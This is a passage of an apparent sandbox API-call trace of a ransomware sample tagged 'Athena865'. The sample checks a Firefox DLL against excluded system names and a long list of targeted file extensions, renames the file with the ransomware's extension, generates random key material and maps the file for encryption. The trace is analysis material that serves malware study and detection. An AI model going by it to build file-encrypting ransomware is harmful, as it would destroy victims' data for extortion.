ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3449da80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x60070, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nssckbi.dll", cAlternateFileName="")) returned 1 [0044.486] lstrcmpiW (lpString1="nssckbi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0044.486] lstrcmpiW (lpString1="nssckbi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0044.486] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".") returned 1 [0044.486] lstrcmpiW (lpString1="nssckbi.dll", lpString2="..") returned 1 [0044.486] lstrcmpiW (lpString1="nssckbi.dll", lpString2="windows") returned -1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="bootmgr") returned 1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="temp") returned -1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="pagefile.sys") returned -1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="boot") returned 1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="ids.txt") returned 1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="ntuser.dat") returned -1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="perflogs") returned -1 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2="MSBuild") returned 1 [0044.487] lstrlenW (lpString="nssckbi.dll") returned 11 [0044.487] lstrcpyW (in: lpString1=0x241e896, lpString2="nssckbi.dll" | out: lpString1="nssckbi.dll") returned="nssckbi.dll" [0044.487] lstrlenW (lpString="nssckbi.dll") returned 11 [0044.487] lstrlenW (lpString="Athena865") returned 9 [0044.487] lstrcmpiW (lpString1="sckbi.dll", lpString2="Athena865") returned 1 [0044.487] lstrlenW (lpString=".dll") returned 4 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".dll") returned 1 [0044.487] lstrlenW (lpString=".lnk") returned 4 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".lnk") returned 1 [0044.487] lstrlenW (lpString=".ini") returned 4 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".ini") returned 1 [0044.487] lstrlenW (lpString=".sys") returned 4 [0044.487] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".sys") returned 1 [0044.487] lstrlenW (lpString="nssckbi.dll") returned 11 [0044.487] lstrlenW (lpString="bak") returned 3 [0044.487] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0044.487] lstrlenW (lpString="ba_") returned 3 [0044.487] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0044.487] lstrlenW (lpString="dbb") returned 3 [0044.487] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0044.487] lstrlenW (lpString="vmdk") returned 4 [0044.487] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0044.487] lstrlenW (lpString="rar") returned 3 [0044.487] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0044.487] lstrlenW (lpString="zip") returned 3 [0044.487] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0044.488] lstrlenW (lpString="tgz") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0044.488] lstrlenW (lpString="vbox") returned 4 [0044.488] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0044.488] lstrlenW (lpString="vdi") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0044.488] lstrlenW (lpString="vhd") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0044.488] lstrlenW (lpString="vhdx") returned 4 [0044.488] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0044.488] lstrlenW (lpString="avhd") returned 4 [0044.488] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0044.488] lstrlenW (lpString="db") returned 2 [0044.488] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0044.488] lstrlenW (lpString="db2") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0044.488] lstrlenW (lpString="db3") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0044.488] lstrlenW (lpString="dbf") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0044.488] lstrlenW (lpString="mdf") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0044.488] lstrlenW (lpString="mdb") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0044.488] lstrlenW (lpString="sql") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0044.488] lstrlenW (lpString="sqlite") returned 6 [0044.488] lstrcmpiW (lpString1="bi.dll", lpString2="sqlite") returned -1 [0044.488] lstrlenW (lpString="sqlite3") returned 7 [0044.488] lstrcmpiW (lpString1="kbi.dll", lpString2="sqlite3") returned -1 [0044.488] lstrlenW (lpString="sqlitedb") returned 8 [0044.488] lstrcmpiW (lpString1="ckbi.dll", lpString2="sqlitedb") returned -1 [0044.488] lstrlenW (lpString="xml") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0044.488] lstrlenW (lpString="$er") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0044.488] lstrlenW (lpString="4dd") returned 3 [0044.488] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0044.489] lstrlenW (lpString="4dl") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0044.489] lstrlenW (lpString="^^^") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0044.489] lstrlenW (lpString="abs") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0044.489] lstrlenW (lpString="abx") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0044.489] lstrlenW (lpString="accdb") returned 5 [0044.489] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0044.489] lstrlenW (lpString="accdc") returned 5 [0044.489] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0044.489] lstrlenW (lpString="accde") returned 5 [0044.489] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0044.489] lstrlenW (lpString="accdr") returned 5 [0044.489] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0044.489] lstrlenW (lpString="accdt") returned 5 [0044.489] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0044.489] lstrlenW (lpString="accdw") returned 5 [0044.489] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0044.489] lstrlenW (lpString="accft") returned 5 [0044.489] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0044.489] lstrlenW (lpString="adb") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0044.489] lstrlenW (lpString="adb") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0044.489] lstrlenW (lpString="ade") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0044.489] lstrlenW (lpString="adf") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0044.489] lstrlenW (lpString="adn") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0044.489] lstrlenW (lpString="adp") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0044.489] lstrlenW (lpString="alf") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0044.489] lstrlenW (lpString="ask") returned 3 [0044.489] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0044.489] lstrlenW (lpString="btr") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0044.490] lstrlenW (lpString="cat") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0044.490] lstrlenW (lpString="cdb") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0044.490] lstrlenW (lpString="ckp") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0044.490] lstrlenW (lpString="cma") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0044.490] lstrlenW (lpString="cpd") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0044.490] lstrlenW (lpString="dacpac") returned 6 [0044.490] lstrcmpiW (lpString1="bi.dll", lpString2="dacpac") returned -1 [0044.490] lstrlenW (lpString="dad") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0044.490] lstrlenW (lpString="dadiagrams") returned 10 [0044.490] lstrcmpiW (lpString1="ssckbi.dll", lpString2="dadiagrams") returned 1 [0044.490] lstrlenW (lpString="daschema") returned 8 [0044.490] lstrcmpiW (lpString1="ckbi.dll", lpString2="daschema") returned -1 [0044.490] lstrlenW (lpString="db-journal") returned 10 [0044.490] lstrcmpiW (lpString1="ssckbi.dll", lpString2="db-journal") returned 1 [0044.490] lstrlenW (lpString="db-shm") returned 6 [0044.490] lstrcmpiW (lpString1="bi.dll", lpString2="db-shm") returned -1 [0044.490] lstrlenW (lpString="db-wal") returned 6 [0044.490] lstrcmpiW (lpString1="bi.dll", lpString2="db-wal") returned -1 [0044.490] lstrlenW (lpString="dbc") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0044.490] lstrlenW (lpString="dbs") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0044.490] lstrlenW (lpString="dbt") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0044.490] lstrlenW (lpString="dbv") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0044.490] lstrlenW (lpString="dbx") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0044.490] lstrlenW (lpString="dcb") returned 3 [0044.490] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0044.491] lstrlenW (lpString="dct") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0044.491] lstrlenW (lpString="dcx") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0044.491] lstrlenW (lpString="ddl") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0044.491] lstrlenW (lpString="dlis") returned 4 [0044.491] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0044.491] lstrlenW (lpString="dp1") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0044.491] lstrlenW (lpString="dqy") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0044.491] lstrlenW (lpString="dsk") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0044.491] lstrlenW (lpString="dsn") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0044.491] lstrlenW (lpString="dtsx") returned 4 [0044.491] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0044.491] lstrlenW (lpString="dxl") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0044.491] lstrlenW (lpString="eco") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0044.491] lstrlenW (lpString="ecx") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0044.491] lstrlenW (lpString="edb") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0044.491] lstrlenW (lpString="epim") returned 4 [0044.491] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0044.491] lstrlenW (lpString="fcd") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0044.491] lstrlenW (lpString="fdb") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0044.491] lstrlenW (lpString="fic") returned 3 [0044.491] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0044.491] lstrlenW (lpString="flexolibrary") returned 12 [0044.491] lstrlenW (lpString="fm5") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0044.492] lstrlenW (lpString="fmp") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0044.492] lstrlenW (lpString="fmp12") returned 5 [0044.492] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0044.492] lstrlenW (lpString="fmpsl") returned 5 [0044.492] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0044.492] lstrlenW (lpString="fol") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0044.492] lstrlenW (lpString="fp3") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0044.492] lstrlenW (lpString="fp4") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0044.492] lstrlenW (lpString="fp5") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0044.492] lstrlenW (lpString="fp7") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0044.492] lstrlenW (lpString="fpt") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0044.492] lstrlenW (lpString="frm") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0044.492] lstrlenW (lpString="gdb") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0044.492] lstrlenW (lpString="gdb") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0044.492] lstrlenW (lpString="grdb") returned 4 [0044.492] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0044.492] lstrlenW (lpString="gwi") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0044.492] lstrlenW (lpString="hdb") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0044.492] lstrlenW (lpString="his") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0044.492] lstrlenW (lpString="ib") returned 2 [0044.492] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0044.492] lstrlenW (lpString="idb") returned 3 [0044.492] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0044.492] lstrlenW (lpString="ihx") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0044.493] lstrlenW (lpString="itdb") returned 4 [0044.493] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0044.493] lstrlenW (lpString="itw") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0044.493] lstrlenW (lpString="jet") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0044.493] lstrlenW (lpString="jtx") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0044.493] lstrlenW (lpString="kdb") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0044.493] lstrlenW (lpString="kexi") returned 4 [0044.493] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0044.493] lstrlenW (lpString="kexic") returned 5 [0044.493] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0044.493] lstrlenW (lpString="kexis") returned 5 [0044.493] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0044.493] lstrlenW (lpString="lgc") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0044.493] lstrlenW (lpString="lwx") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0044.493] lstrlenW (lpString="maf") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0044.493] lstrlenW (lpString="maq") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0044.493] lstrlenW (lpString="mar") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0044.493] lstrlenW (lpString="marshal") returned 7 [0044.493] lstrcmpiW (lpString1="kbi.dll", lpString2="marshal") returned -1 [0044.493] lstrlenW (lpString="mas") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0044.493] lstrlenW (lpString="mav") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0044.493] lstrlenW (lpString="maw") returned 3 [0044.493] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0044.494] lstrlenW (lpString="mdbhtml") returned 7 [0044.494] lstrcmpiW (lpString1="kbi.dll", lpString2="mdbhtml") returned -1 [0044.494] lstrlenW (lpString="mdn") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0044.494] lstrlenW (lpString="mdt") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0044.494] lstrlenW (lpString="mfd") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0044.494] lstrlenW (lpString="mpd") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0044.494] lstrlenW (lpString="mrg") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0044.494] lstrlenW (lpString="mud") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0044.494] lstrlenW (lpString="mwb") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0044.494] lstrlenW (lpString="myd") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0044.494] lstrlenW (lpString="ndf") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0044.494] lstrlenW (lpString="nnt") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0044.494] lstrlenW (lpString="nrmlib") returned 6 [0044.494] lstrcmpiW (lpString1="bi.dll", lpString2="nrmlib") returned -1 [0044.494] lstrlenW (lpString="ns2") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0044.494] lstrlenW (lpString="ns3") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0044.494] lstrlenW (lpString="ns4") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0044.494] lstrlenW (lpString="nsf") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0044.494] lstrlenW (lpString="nv") returned 2 [0044.494] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0044.494] lstrlenW (lpString="nv2") returned 3 [0044.494] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0044.494] lstrlenW (lpString="nwdb") returned 4 [0044.495] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0044.495] lstrlenW (lpString="nyf") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0044.495] lstrlenW (lpString="odb") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0044.495] lstrlenW (lpString="odb") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0044.495] lstrlenW (lpString="oqy") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0044.495] lstrlenW (lpString="ora") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0044.495] lstrlenW (lpString="orx") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0044.495] lstrlenW (lpString="owc") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0044.495] lstrlenW (lpString="p96") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0044.495] lstrlenW (lpString="p97") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0044.495] lstrlenW (lpString="pan") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0044.495] lstrlenW (lpString="pdb") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0044.495] lstrlenW (lpString="pdm") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0044.495] lstrlenW (lpString="pnz") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0044.495] lstrlenW (lpString="qry") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0044.495] lstrlenW (lpString="qvd") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0044.495] lstrlenW (lpString="rbf") returned 3 [0044.495] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0044.495] lstrlenW (lpString="rctd") returned 4 [0044.495] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0044.495] lstrlenW (lpString="rod") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0044.496] lstrlenW (lpString="rodx") returned 4 [0044.496] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0044.496] lstrlenW (lpString="rpd") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0044.496] lstrlenW (lpString="rsd") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0044.496] lstrlenW (lpString="sas7bdat") returned 8 [0044.496] lstrcmpiW (lpString1="ckbi.dll", lpString2="sas7bdat") returned -1 [0044.496] lstrlenW (lpString="sbf") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0044.496] lstrlenW (lpString="scx") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0044.496] lstrlenW (lpString="sdb") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0044.496] lstrlenW (lpString="sdc") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0044.496] lstrlenW (lpString="sdf") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0044.496] lstrlenW (lpString="sis") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0044.496] lstrlenW (lpString="spq") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0044.496] lstrlenW (lpString="te") returned 2 [0044.496] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0044.496] lstrlenW (lpString="teacher") returned 7 [0044.496] lstrcmpiW (lpString1="kbi.dll", lpString2="teacher") returned -1 [0044.496] lstrlenW (lpString="tmd") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0044.496] lstrlenW (lpString="tps") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0044.496] lstrlenW (lpString="trc") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0044.496] lstrlenW (lpString="trc") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0044.496] lstrlenW (lpString="trm") returned 3 [0044.496] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0044.496] lstrlenW (lpString="udb") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0044.497] lstrlenW (lpString="udl") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0044.497] lstrlenW (lpString="usr") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0044.497] lstrlenW (lpString="v12") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0044.497] lstrlenW (lpString="vis") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0044.497] lstrlenW (lpString="vpd") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0044.497] lstrlenW (lpString="vvv") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0044.497] lstrlenW (lpString="wdb") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0044.497] lstrlenW (lpString="wmdb") returned 4 [0044.497] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0044.497] lstrlenW (lpString="wrk") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0044.497] lstrlenW (lpString="xdb") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0044.497] lstrlenW (lpString="xld") returned 3 [0044.497] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0044.497] lstrlenW (lpString="xmlff") returned 5 [0044.497] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0044.497] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll.Athena865") returned 60 [0044.497] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssckbi.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssckbi.dll.athena865"), dwFlags=0x1) returned 1 [0044.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssckbi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0044.501] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=393328) returned 1 [0044.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0044.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0044.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0044.502] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0044.503] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0044.503] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.503] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60370, lpName=0x0) returned 0x17c [0044.504] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60370) returned 0x1f0000 [0044.522] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.523] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.523] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.523] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0044.527] CloseHandle (hObject=0x17c) returned 1 [0044.527] CloseHandle (hObject=0x154) 